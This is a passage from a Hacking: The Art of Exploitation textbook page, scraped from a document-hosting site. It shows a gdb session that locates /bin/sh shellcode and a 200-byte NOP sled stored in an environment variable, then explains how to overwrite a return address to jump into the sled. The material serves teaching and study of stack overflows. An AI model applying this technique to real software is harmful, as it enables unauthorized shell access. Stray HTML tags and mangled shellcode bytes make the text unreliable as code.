26.07.2018 Views

hacking-the-art-of-exploitation

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

A breakpoint is set at <strong>the</strong> beginning <strong>of</strong> main(), and <strong>the</strong> program is run.<br />

This will set up memory for <strong>the</strong> program, but it will stop before anything<br />

happens. Now we can examine memory down near <strong>the</strong> bottom <strong>of</strong> <strong>the</strong> stack.<br />

(gdb) i r esp<br />

esp 0xbffff660 0xbffff660<br />

(gdb) x/24s $esp + 0x240<br />

0xbffff8a0: ""<br />

0xbffff8a1: ""<br />

0xbffff8a2: ""<br />

0xbffff8a3: ""<br />

0xbffff8a4: ""<br />

0xbffff8a5: ""<br />

0xbffff8a6: ""<br />

0xbffff8a7: ""<br />

0xbffff8a8: ""<br />

0xbffff8a9: ""<br />

0xbffff8aa: ""<br />

0xbffff8ab: "i686"<br />

0xbffff8b0: "/home/reader/booksrc/notesearch"<br />

0xbffff8d0: "SSH_AGENT_PID=7531"<br />

0xbffffd56: "SHELLCODE=", '\220' ...<br />

0xbffff9ab: "\220\220\220\220\220\220\220\220\220\2201�1�1�\231���\200j\vXQh//<br />

shh/bin\211�Q\211�S\211��\200"<br />

0xbffff9d9: "TERM=xterm"<br />

0xbffff9e4: "DESKTOP_STARTUP_ID="<br />

0xbffff9f8: "SHELL=/bin/bash"<br />

0xbffffa08: "GTK_RC_FILES=/etc/gtk/gtkrc:/home/reader/.gtkrc-1.2-gnome2"<br />

0xbffffa43: "WINDOWID=39845969"<br />

0xbffffa55: "USER=reader"<br />

0xbffffa61:<br />

"LS_COLORS=no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=<br />

40;31;01:su=37;41:sg=30;43:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01<br />

;31:*.taz=0"...<br />

0xbffffb29:<br />

"1;31:*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.bz2=01;31:*.deb=01;31:*.rpm=01;3<br />

1:*.jar=01;31:*.jpg=01;35:*.jpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01<br />

;35:*.tga=0"...<br />

(gdb) x/s 0xbffff8e3<br />

0xbffff8e3: "SHELLCODE=", '\220' ...<br />

(gdb) x/s 0xbffff8e3 + 100<br />

0xbffff947: '\220' , "1�1�1�\231���\200j\vXQh//shh/bin\<br />

211�Q\211�S\211��\200"<br />

(gdb)<br />

The debugger reveals <strong>the</strong> location <strong>of</strong> <strong>the</strong> shellcode, shown in bold above.<br />

(When <strong>the</strong> program is run outside <strong>of</strong> <strong>the</strong> debugger, <strong>the</strong>se addresses might<br />

be a little different.) The debugger also has some information on <strong>the</strong> stack,<br />

which shifts <strong>the</strong> addresses around a bit. But with a 200-byte NOP sled, <strong>the</strong>se<br />

inconsistencies aren’t a problem if an address near <strong>the</strong> middle <strong>of</strong> <strong>the</strong> sled is<br />

picked. In <strong>the</strong> output above, <strong>the</strong> address 0xbffff947 is shown to be close to <strong>the</strong><br />

middle <strong>of</strong> <strong>the</strong> NOP sled, which should give us enough wiggle room. After<br />

determining <strong>the</strong> address <strong>of</strong> <strong>the</strong> injected shellcode instructions, <strong>the</strong> <strong>exploitation</strong><br />

is simply a matter <strong>of</strong> overwriting <strong>the</strong> return address with this address.<br />

Exploitation 145

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!